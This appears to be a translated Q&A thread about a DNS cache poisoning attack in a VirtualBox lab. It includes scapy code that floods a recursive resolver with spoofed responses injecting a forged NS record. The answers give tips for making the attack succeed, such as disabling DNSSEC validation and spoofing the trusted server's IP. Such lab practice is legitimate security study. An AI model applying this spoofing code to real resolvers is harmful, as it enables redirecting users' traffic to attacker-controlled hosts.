python中的DNS缓存中毒

时间:2018-04-24 20:21:05

标签: python-3.x dns wireshark scapy

我试图在虚拟框中的易受攻击的计算机上执行描述为Dan的Shenanigans In this tutorial 的攻击,但缓存不会被覆盖。

  • 递归服务器位于地址192.168.56.20
  • 攻击者的机器是192.168.56.1
  • 攻击者的机器也是域名badguy.ru的权威
  • 递归服务器使用固定端口发出请求。

当我执行域badguy.ru请求时查看wireshark我在攻击者的机器上收到这些数据包: enter image description here 详情如下:

第一个 First one

第二个

enter image description here

所以在这种情况下我保存了变量

  • sniffed_ip = 10.10.0.1
  • sniffed_port = 56488(在屏幕截图中不可见)
  • query_id = 0xe16c

我使用scapy构建数据包,并在1000个数据包的范围内邻近后续查询/事务ID,我发出假请求,最后发送数据包

packet_list = []
for i in range(args.range):
    pkt = (IP(src=sniffed_ip, dst='192.168.56.20')
           / UDP(sport=53, dport=sniffed_port)
           / DNS(id=query_id, 
                 an=None,
                 qr=1,
                 qd=DNSQR(qname='www123.bankofsteve.com', qtype="A"),
                 ns=(DNSRR(rrname='bankofsteve.com', type='NS', ttl=60000, rdata='ns.bankofsteve.com')),
                 ar=(DNSRR(rrname='ns.bankofsteve.com', type="A", ttl=60000, rdata='192.168.56.1'))))

    query_id=(query_id+1)%65536
    pkt.getlayer('DNS').id = query_id
    packet_list.append(pkt)

send(IP(dst='192.168.56.20') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='www123.bankofsteve.com')), verbose=0)
send(packet_list)

数据包正确到达递归服务器,但缓存没有中毒,我无法理解错误在哪里,我认为它可能不是一个有效的响应数据包。提前致谢

2 个答案:

答案 0 :(得分:1)

如果有DNSSEC,则必须验证用于签署RRSEC的公钥。 如果您尝试破解自己的DNS(例如,在Linux上配置),您可以在/etc/bind/named.conf.options中关闭dnssec验证。

答案 1 :(得分:1)

您错过了攻击的核心:您需要模仿可信的东西(从服务器的角度来看),而不仅仅是捕获查询ID和源端口。换句话说,您在欺骗数据包中使用的IP是错误的。

此外,有两种方法可以执行此攻击:通过注入单个" faked"来中毒缓存。记录,或注入新的NS记录。不要惹这两个。